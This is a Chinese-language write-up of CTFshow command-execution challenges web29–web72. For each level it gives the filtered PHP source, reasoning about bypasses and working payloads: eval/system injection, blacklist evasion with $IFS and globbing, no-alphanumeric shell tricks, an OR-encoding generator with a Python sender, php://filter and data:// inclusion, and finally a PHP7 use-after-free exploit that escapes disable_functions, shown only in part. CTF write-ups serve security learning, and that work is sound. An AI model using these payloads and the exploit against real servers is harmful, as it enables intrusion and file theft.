CTFshow_命令执行
文章目录
- CTFshow_命令执行
- 参考
- 0x00 web29
- 0x01 web30
- 0x02 web31
- 0x03 web32
- 0x04 web33
- 0x05 web34
- 0x06 web35
- 0x07 web36
- 0x08 web37
- 0x09 web38
- 0x0A web39
- 0x0B web40
- 0x0C web41
- 0x0D web42
- 0x0E web43
- 0x0F web44
- 0x10 web45
- 0x11 web46
- 0x12 web47
- 0x13 web48
- 0x14 web49
- 0x15 web50
- 0x16 web51
- 0x17 web52
- 0x18 web53
- 0x19 web54
- 0x1A web55
- 0x1B web56
- 0x1C web57
- 0x1D web58
- 0x1E~24 web59~65
- 0x25 web66
- 0x26 web67
- 0x27 web68
- 0x28 web69
- 0x29 web70
- 0x2A web71
- 0x2B web72
- 0x2C web73
- 0x2D web74
- 0x2F web75
- 0x30 web76
- 0x31 web77
- 0x32 web118
- 0x33 web119
- 0x33 web120
- 0x34 web121
- 0x35 web122
- 0x36 web124
参考
https://wp.ctf.show/d/139-web
https://www.cnblogs.com/wrnan/p/13765680.html
https://blog.csdn.net/rfrder/article/details/112862827
https://blog.csdn.net/solitudi/article/details/109837640
0x00 web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
- 只过滤flag【不区分大小写】
?c=system('ls');
?c=system('cat `ls`');
- 预期解:
echo `nl fl''ag.php`;
0x01 web30
if(!preg_match("/flag|system|php/i", $c)){
- 过滤了文件名、
一个系统命令执行函数、php
【不区分大小写】 ?c=passthru('ls');
?c=passthru("nl fl''ag.ph''p");
- 预期解:
echo `nl fl''ag.p''hp`;
0x02 web31
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
- 过滤了文件名、system、php、
cat、sort、shell、点号、空格、单引号
【不区分大小写】
sort的过滤是因为usort()/uasort()?
?c=passthru("ls");
?c=passthru("nl%20`ls`");
为什么失败?是因为后端URL解码后,还是空格,然后被过滤【实践后:✔】?c=passthru("nl%09`ls`");
- 预期解:
show_source(next(array_reverse(scandir(pos(localeconv())))));
【无参数RCE】
0x03 web32
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
- 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、
反引号、echo、;、左括号
【不区分大小写】 ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
- 预期解:
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php
0x04 web33
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
- 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、
双引号
【不区分大小写】 ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
- 预期解:
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64- encode/resource=flag.php
【闭合后在重新写个PHP,感觉有点多余】
0x05 web34
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
- 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、
冒号
、双引号【不区分大小写】
这里过滤冒号,那么没过滤冒号时的payload是怎么样的==???==
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
- 预期解:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
【好家伙,一模一样】
0x06 web35
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
- 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、冒号、双引号、
左尖括号、等于号
【不区分大小写】 - 额,好像没区别
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
- 预期解:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
0x07 web36
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
- 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、冒号、双引号、左尖括号、等于号、
数字
【不区分大小写】 c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
- 预期解:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
【好家伙,又和我的一模一样】
web29~web36 Payload整理:
?c=
system('cat `ls`');
echo `nl fl''ag.php`;
passthru("nl fl''ag.ph''p");
echo `nl fl''ag.p''hp`;
show_source(next(array_reverse(scandir(pos(localeconv())))));
include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
0x08 web37
- 居然换了,这题在考文件包含??
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=
- 预期解:
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码 或者通过包含日志文件拿shell
0x09 web38
if(!preg_match("/flag|php|file/i", $c)){
过滤了file,之前是怎么用file读取的==???==
?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=
- 预期解:
nginx的日志文件/var/log/nginx/access.log data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== 查看源代码 或者通过包含日志文件拿shell
0x0A web39
if(!preg_match("/flag/i", $c)){
include($c.".php");
- 还是利用data
?c=data:text/plain,<?php system('cat f*')?>
$flag="flag{db13407e-87cf-4664-9938-25af2a20419b}";.php
后面显示.php
,是因为<?php ?>.php
因为前面的php语句已经闭合了,.php
会被当成html页面直接显示在页面上
0x0B web40
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
- 不会,居然过滤的是中文括号
这是要告诉我们过滤和绕过时要小心细心,免得中英文标点混淆?
- 用无参数RCE【顺便复习下】
- payload:
- ①
?c=print_r(scandir(pos(localeconv())));
读目录
?c=echo(readfile(array_rand(array_flip(scandir(pos(localeconv()))))));
随机读取出文件【多发送几次即可】 - ②
?c=eval(end(current(get_defined_vars())));&b=highlight_file('flag.php');
- ③
?c=eval((next(array_reverse(getallheaders()))));
User-Agent: highlight_file('flag.php');
Content-Length: 2
Content-Type:
22
-
④
show_source(next(array_reverse(scandir(pos(localeconv())))));
-
⑤
?c=eval(array_rand(array_flip(getallheaders())));
-
hint中用了Session,但hex2bin被过滤,没找到其他方式读取flag.php
-
预期解:
show_source(next(array_reverse(scandir(pos(localeconv())))));
0x0C web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
-
过滤数字、字母、^、+、~、$、[、]、{、}、&、-【不区分大小写】
-
&
按位与|
按位或^
按位异或~
取反 为四大位运算符,其中按位异|
没有过滤,过滤的字符是防异或、自增和取反构造字符 -
参考博客中的脚本:
生成可用字符的集合
:
思路是:从所有字符(ASCII[0-255])中排除掉被过滤的,然后在判断或运算得到的字符是否为可见字符
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);#dechex() 函数把十进制转换为十六进制。
}
/*
dechex([0-15])的值为一个字符[0-f],加上0,变0[0-f];和下面的两位十六进制搭配
256=16*16;刚好ff=255
*/
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}#以上为获取2组范围为[00-ff]的16进制数
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';#题目的正则表达式
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";#hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。剔除符合正则表达式的字符
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;#URL编码是百分号%与一个字节的十六进制数组成的
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) { //ASCII[32-126]是可见字符
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);#写入文件
fclose($myfile);
?>
# -*- coding: utf-8 -*-
import requests
import urllib
import sys
import os
#os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(sys.argv)!=2):#sys.argv[0]为程序本身,之后的值才是参数;sys.argv是个列表
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=sys.argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
print(output)
return(output)
'''
#函数的作用:读取输入的值【input()】,从rce_or.txt中依次寻找出对应的值,并将位运算的前值赋予s1、s2
s1、s2用括号包裹起来,为的是动态执行函数【故PHP>7】
'''
while True:#Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)#将param进行URL解码
}
print(data)
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
- 分析学习了一波脚本,yu师傅yyds
- 按脚本的意思执行即可,我是用system和ls;system和cat flag.php来获取flag
0x0D web42
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
-
>/dev/null 2>&1
的意思是将命令的输出丢弃,错误输出也丢弃;详细介绍见参考文章 -
那么为了有输出,应该截断后面
-
payload:
?c=cat flag;
-
截断符还可用:
%0a
【换行符URL】%26
【&URL】%26%26
【&&URL】和||
其他Payload合集:
-
sed -n '1,75p' flag.php||
-
tail -n +15 flag.php||
orhead -n +15 flag.php||
or… -
cut -c- flag.php||
-
more flag.php||
orless flag.php||
-
strings flag.php||
-
od -bc flag.php||
-
awk '{print $1,$15}' flag.php||
-
curl
和wegt
是配合伪协议读取文件:curl file:///etc/passwd -
%0d 回车符
失败
16进制代码中“0A”是换行,如果只有“0D”,那么光标会回到这一行的开始处,只有“0A“、”0D”一起用,才能使光标到下一行的开始处。
0x0E web43
if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1");
- 上一题中随便挑一个即可
- payload:
?c=tac flag.php%26
- 预期解:
nl flag.php%0a
0x0F web44
if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1");
- payload:
c\at fla\g.php%26
- 预期解:
nl fla*.php%0a
0x10 web45
if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1");
- payload:
c\at${IFS}fla\g.php%26
在bash下,可以用以下字符代替空格
< 、<>、{ }、%20(空格URL)、%09(tabURL)、$IFS$9、 ${IFS}、$IFS
- 预期解:
echo$IFS`tac$IFS*`%0A
0x11 web46
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、
$、*【不区分大小写】 - 搞错了,还认为
\\$
匹配的是以\
结束 - 一番实验后发现PHP中
\\$
匹配的是$
,是因为PHP字符串中反斜杠有转义的作用,\\
转义成\
,\$
在正则表达式中有特殊意义,即转义美元符号$
- payload:
?c=tac<fla\g.php%26
- 预期解:
nl<fla''g.php||
0x12 web47
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、$、*、
more、less、head、sort、tail
【不区分大小写】 - 笔记中居然没有sort【用于将文本文件内容加以排序】,长见识了
- payload:
?c=sor\t<fla\g.php%26
- 预期解:
nl<fla''g.php||
0x13 web48
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、
sed、cut、awk、strings、od、curl、`
【不区分大小写】 - payload:
?c=sor\t<fla\g.php%26
- 预期解:
nl<fla''g.php||
0x14 web49
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、
%
【不区分大小写】 - payload:
?c=tac<fla\g.php||
- 预期解:
nl<fla''g.php||
0x15 web50
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、
\x09【制表符】、\x26【&】
【不区分大小写】 - payload:
?c=tac<fla\g.php||
- 预期解:
nl<fla''g.php||
0x16 web51
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、
tac
、awk、strings、od、curl、`、\x09【制表符】、\x26【&】【不区分大小写】 - payload:
?c=ta\c<fla\g.php||
- 预期解:
nl<fla''g.php||
0x17 web52
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、
$、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、\x09【制表符】、\x26【&】、<、>
【不区分大小写】 ?c={nl,fla\g.php}||
为什么不行??- 后来发现
$
居然被取消过滤?? - payload:
?c=ta\c${IFS}/fla\g||
- 预期解:
nl$IFS/fla''g||
0x18 web53
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
过滤 ;、cat、flag、空格、数字、
$、*、more、wegt
、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、\x09【制表符】、\x26【&】、<、>【不区分大小写】
- payload:
?c=ta\c${IFS}fla\g.php
- 预期解:
c''at${IFS}fla''g.p''hp
0x19 web54
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
- 过滤 ;、cat、flag、空格、数字、
$、*、more、wegt、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、nl、scp、rm
、`、\x09【制表符】、\x26【&】、<、>【不区分大小写】【点号匹配除换行符外的字符】 echo${IFS}${SHELLOPTS}
为什么无回显?- payload:
/bin/?at${IFS}f???.php
- 预期解:
/bin/?at${IFS}f???????
scp、rm是过滤什么命令?
0x1A web55
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
- 过滤分号、字母、反引号、百分号、\x09【制表符】、\x26【&】、<、>【不区分大小写】
- 这道题应该是从p神的两篇文章改编过来的 一些不包含数字和字母的webshell 无字母数字webshell之提高篇
- 其中第一篇的三种方法都需要用到
;
,故无解 - 第二篇则通过
PHP5+shell
可解 - ①shell下可以利用.来执行任意脚本
.
相当于source
命令可以执行文件中的文本【不需要x权限】
. file
的意思就是用bash执行file文件中的命令 - ②Linux文件名支持用glob通配符代替
为了利用.
执行文件中的命令,故需找到可控的文件
p神提供的方法是通过构造上传文件的post包,使得PHP将上传的文件保存在临时文件夹下。默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
=》故可用通配符?
来匹配;为了排除其他文件的干扰,使用[@-[]
匹配大写字母
【当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。】 - 构造payload:
- 抓主页包修改
- 请求包第一行改为
POST /?c=.%20/???/????????[@-[] HTTP/1.1
- 请求包最下方添加【即构造上传文件包】
Content-Type: multipart/form-data; boundary=----1
Content-Length: 132
------1
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
#!/bin/sh
whoami
------1--
- 或者用这位师傅的方法:写一个上传文件的表单,再抓包修改
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
再用类似我的方法修改请求包即可
刚才那位师傅中还提到了为什么有时候eval函数中要用到
?><?=
原因是eval()函数相当于执行php的代码,而<?= 就相当于<?php echo
在PHP7以上不管short_open_tag配置是不是开启的。都可以使用。
所以就相当于一个新的PHP文件,这样的话就需要将最开始前面的<?php给闭合,不然不会执行。
补充:来源
解题思路:没有过滤数字,寻找带有数字的查看文件命令
方法二:
- 找到
/bin/base64
- payload:
?c=/???/????64 ????.???
【即/bin/base64 flag.php】
方法三: - 找到
bzip2
【bzip2是linux下面的压缩文件的命令】 - 可以通过该命令压缩flag.php 然后进行下载
- payload:
?c=/???/???/????2 ????.???
【即/usr/bin/bzip2 flag.php】 - 然后访问
/flag.php.bz2
进行下载获得flag.php
0x1B web56
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
- 与上一题比较多过滤了一些东西,但上一题的解法依旧可以
0x1C web57
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
- 不会
- 看wp,只要构造出36即可【36D?】
- 解法有两种,学习参考了好几位师傅【Firebasky、rfrder、wrnan、l0nmar】的wp
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
\$(())=0
~\$(())=-1
[b=~a 满足a+b=-1]- 构造36
$(( $((~$(()))) $((~$(()))) )) #是-2
$((~$(()))) #是-1
#故双小括号中若无运算符,则默认相加
故在\$(())
里面放37个$((~$(()))),得到-37,取反得到36。
payload:
$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
- 或者
${_}
返回上一次命令执行的结果,若无上一次,则返回空,即与""
等价- 而
$((""))
值为0,$((~$((""))))
值为-1 - 故重复上一种解法,只不过添加上
${_}
- payload:
$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))
0x1D web58
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
- 读目录
c=print_r(scandir('.'));
payload:POST:c=show_source('flag.php');
web58到web65都可以使用上面的payload,但有好多姿势,直接合在一起总结:
①读文件的函数可替换成:
file_get_contents()
highlight_file()
show_source()
file() 配合打印函数
readfile()
②利用fopen打开文件结合文件读取文件:
函数:
fread()
fgets()
fgetc()
fgetss() //php7.3版本后 该函数已不再被使用
fgetcsv()
fpassthru()
$a=fopen("flag.php","r");echo fread($a,"1000");
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
$a=fopen("flag.php","r");echo fpassthru($a);
$a=fopen("flag.php","r");while($b=fgets($a)){echo $b;}
③读取目录:
c=print_r(scandir('.'));#读取当前目录
c=print_r(scandir('/'));#读取根目录,读其他同理
c=print_r(glob('/*/*'));#配合正则表达式,读目录 glob() 函数返回匹配指定模式的文件名或目录。
c=$a=opendir("/");while(($file = readdir($a)) !== false){echo $file . "<br>"; };
print_r()
可以换成var_dump()
和var_export()
var_export()与var_dump()类似,但其返回的是合法的PHP代码
- 或者
遍历打印数组【目录是一个数组】
c=
$a=scandir("/");
foreach($a as $value){
echo $value." ";
}
c=
$a=new DirectoryIterator('glob:///*'); //("glob:///bin/*")
foreach($a as $f){
echo($f->__toString()." ");
}
#The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.
④复制、重命名 :
copy(),将flag文件内容复制到其他文件,再访问该文件
copy("flag.php","flag.txt");
rename(),将flag文件重命名,再访问该文件
rename("flag.php","flag.txt");
⑤用文件包含读取【是因为后面flag在TXT文件中】
include("flag.txt");
require("flag.txt");
0x1E~24 web59~65
见上一题
0x25 web66
- show_source函数被禁用,改用highlight_file函数
- flag不在当前目录下,
c=print_r(scandir('/'))
寻找
0x26 web67
print_r(scandir('/'))
改为c=var_dump(scandir('/'));
0x27 web68
- 读文件函数被全禁用,恰好flag在TXT中,使用文件包含读取
- payload:
c=include('/flag.txt');
0x28 web69
c=var_dump(scandir('/'));
改为c=var_export(scandir('/'));
c=include('/flag.txt');
0x29 web70
同69
0x2A web71
highlight_file()被禁用了,直接给出了index.php
error_reporting(0);
ini_set('display_errors', 0);
//上面两句都是不显示错误的意思,双保险
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();//返回输出缓冲区的内容
ob_end_clean();//清空(擦除)缓冲区并关闭输出缓冲
echo preg_replace("/[0-9]|[a-z]/i","?",$s);//正则替换数字和字母
}else{
highlight_file(__FILE__);
}
ob_end_clean()丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。
-
使用
exit
或者die
提前结束进程,便可绕过后面的代码 -
payload:
c=var_export(scandir('/'));die();
c=include("/flag.txt");exit();
0x2B web72
代码和web71一样
error_reporting(0);
ini_set('display_errors', 0);
//上面两句都是不显示错误的意思,双保险
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
- 查看目录时发现存在open_basedir,
c=var_export(scandir('/'));die();
Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1
open_basedir 将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。
利用glob伪协议在筛选目录时不受open_basedir制约
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;}exit();
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
看其他人wp利用php7-gc
漏洞利用的pocphp7-backtrace-bypass 看起来好像是关于二进制漏洞方面,放弃分析poc
直接使用GitHub上的Payload会失败,原因应该是多禁用了str_repeat('A', 79)
和chr()
chr($ptr & 0xff)
用 sprintf('%c',$ptr & 0xff)
代替
str_repeat('A', 79)
用79个A代替【比对羽师傅的脚本】
?><?php
pwn("ls /;cat /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
